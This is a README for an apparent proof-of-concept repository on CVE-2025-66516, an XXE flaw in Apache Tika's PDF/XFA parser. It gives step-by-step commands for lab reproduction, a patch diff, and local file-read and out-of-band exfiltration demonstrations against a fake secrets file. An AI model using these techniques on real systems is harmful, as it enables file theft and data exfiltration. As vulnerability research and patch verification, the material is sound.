
A POC for the CVE-2025-66516 Apache Tika Vulnerability for educational purposes only
Educational/Authorized Testing Only | License | Security Policy
This repository contains a proof-of-concept (POC) exploit for CVE-2025-66516, an XML External Entity (XXE) injection vulnerability in Apache Tika versions prior to 3.2.2. The vulnerability affects the XFA (XML Forms Architecture) parser in the tika-parser-pdf-module component, allowing attackers to read local files and exfiltrate sensitive data through maliciously crafted PDF documents.
CVE-2025-66516 is a critical security vulnerability in Apache Tika's PDF parsing functionality. When processing PDF files with embedded XFA forms, Tika versions before 3.2.2 fail to properly restrict external entity processing in XML parsers. This allows attackers to:
This repository includes:
Apache Tika XXE, CVE-2025-66516 exploit, Tika security vulnerability, XML External Entity attack, PDF XXE injection, Tika 3.2.1 vulnerability, out-of-band XXE, OOB XXE, security research, penetration testing, POC exploit, vulnerability disclosure, XFA parser vulnerability, tika-parser-pdf-module, file disclosure vulnerability, data exfiltration, SSRF attack, secure coding, vulnerability analysis, security testing, ethical hacking, infosec, cybersecurity research, Apache Tika exploit code, XXE payload, PDF security, document parser vulnerability
Note: This POC has been tested and verified on:
First, create a dedicated directory for the POC to keep all files organized.
mkdir apache_tika_poc
cd apache_tika_poc
Before proceeding with the POC, verify your environment has the required dependencies. These commands will display your Java compiler/runtime versions and OS details, which are important for reproducing the vulnerability.
# Check Java version
java -version
javac -version
# Check OS version
lsb_release -a
Expected Output: You should see Java version information (e.g., OpenJDK 17.x.x) and Ubuntu version details (24.04.3 LTS).
Download both the vulnerable (3.2.1) and patched (3.2.2) versions of Apache Tika. We need both versions to demonstrate that the XXE vulnerability exists in 3.2.1 and is fixed in 3.2.2. The tika-app JAR is an all-in-one executable that includes all Tika parsers and dependencies.
# Download vulnerable Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar
# Download patched Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar
Expected Output: Two JAR files will be downloaded - tika-app-3.2.1.jar (~75MB) and tika-app-3.2.2.jar (~75MB).
Verify the exact versions by inspecting the JAR manifest files. This confirms we have the correct vulnerable and patched versions before testing.
# Check vulnerable version manifest
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF
# Check patched version manifest
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF
Expected Output: Manifest files showing Implementation-Version: 3.2.1 and 3.2.2 respectively, along with build timestamps and other metadata.
If we look at the Project Object Models (Maven's POM properties define a project's dependencies, build configuration, and metadata.), we see there are no separate tika-parsers as mentioned in the security advisories - could be a version related thing and the assumption is in versions 3.2.1 and 3.2.2, which are part of the POC, the tika-parsers module were replaced by individual parser modules.
# List all component pom.properties files for both versions
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika
Expected Output: A list of all Tika component modules including tika-core, tika-parser-pdf-module, tika-xmp, etc. You'll notice individual parser modules rather than a single tika-parsers module.
Extract and display the version information for core Tika components. This helps us understand the internal module structure and confirm that both the core library and PDF parser module are at the expected versions.
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.1
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.2
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
Expected Output: POM properties showing version=3.2.1 or version=3.2.2 for each component, separated by ---. All three components (tika-core, tika-parser-pdf-module, tika-app) should match the overall version.
Create a fake secrets file that will be the target of our XXE attack. This file simulates sensitive data (like API keys or credentials) that an attacker might try to exfiltrate through the XXE vulnerability.
# Create target secret file
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt
Expected Output: A file named fake-secrets.txt containing the string INTERNAL_SERVER_KEY=EXPOSED. This will be read by the XXE exploit.
To understand the fix, we need to decompile and compare the XMLReaderUtils class from both versions. This class is responsible for creating XML parsers, and the vulnerability stems from how it configures XML entity processing.
# Extract vulnerable JAR for analysis
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..
# Extract patched JAR for analysis
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..
# Decompile vulnerable class
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..
# Decompile patched class
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..
# Compare versions
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt
Expected Output: The extraction creates two directories with decompiled class files. The javap command generates bytecode disassembly of the XMLReaderUtils class. The diff command will show differences in how the XML parser is configured between versions.
If we compare carefully we find any Doctype definition (DTD) and external Entities support is disabled in 3.2.2 - this is the crux of the fix:
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"
Expected Output: You'll see diff output showing that version 3.2.2 adds calls to disable DTD processing and external entity resolution. Look for lines setting accessExternalDTD to empty string and supportDTD to false.
This demonstrates the classic XXE attack where a malicious PDF reads a local file from the server's filesystem. The Python script generates a PDF with an embedded XFA form containing XML with an XXE payload that references file:///fake-secrets.txt.
# Generate malicious PDF
python3 ./gen_poc.py
# Test with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf
# Test with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf
Expected Output:
gen_poc.py creates cve_2025_66516_poc.pdf containing the XXE payloadINTERNAL_SERVER_KEY=EXPOSED - the contents of the secret file!This demonstrates a more sophisticated XXE attack using out-of-band (OOB) data exfiltration. Instead of reflecting file contents in the response, the malicious PDF forces Tika to send the data to an external server controlled by the attacker. This technique works even when the application doesn't return the parsed content.
# Generate out-of-band XXE PDF
python3 ./gen_oob_poc.py
# Start HTTP listener (in separate terminal)
python3 ./http_listener.py
# Test OOB XXE with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf
# Test OOB XXE with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf
Expected Output:
gen_oob_poc.py creates cve-2025-66516_OOB_XXE.pdf with OOB XXE payloadhttp_listener.py starts a server on port 8888 and waits for incoming requests/evil.dtd (external DTD fetch)/exfil?data=INTERNAL_SERVER_KEY=EXPOSED (data exfiltration)This tests the vulnerability in a more realistic scenario where Tika is used as a library within a Java application (not just the command-line tool). The DocumentProcessor.java code simulates how a typical application might integrate Tika for document parsing.
# Compile with vulnerable Tika
javac -cp tika-app-3.2.1.jar DocumentProcessor.java
# Run with vulnerable Tika
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
# Compile with patched Tika
javac -cp tika-app-3.2.2.jar DocumentProcessor.java
# Run with patched Tika
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
Expected Output:
Document processed successfully!
Content extracted: [text containing INTERNAL_SERVER_KEY=EXPOSED]
⚠️ SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
Document processed successfully!
Content extracted: [text WITHOUT secret data]
✓ No XXE vulnerability detected.
Remove temporary directories and files created during the analysis phase to keep the workspace clean.
# Remove extraction directories
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt
Expected Output: The directories and decompiled text files will be removed. No output is displayed unless there's an error.
If you discover security vulnerabilities, please report them responsibly:
apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration
This project is licensed under the MIT License - see the LICENSE file for details.
Educational Use Only - This POC is intended for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have permission to test is illegal.
Contributions to improve this POC or documentation are welcome! Please ensure any contributions:
Last Updated: December 2025
ssrfoob-xxefile-disclosuresecure-codingvulnerability-analysissecurity-testingexploit-developmentred-teamblue-teamappsecdocument-parsingjava-security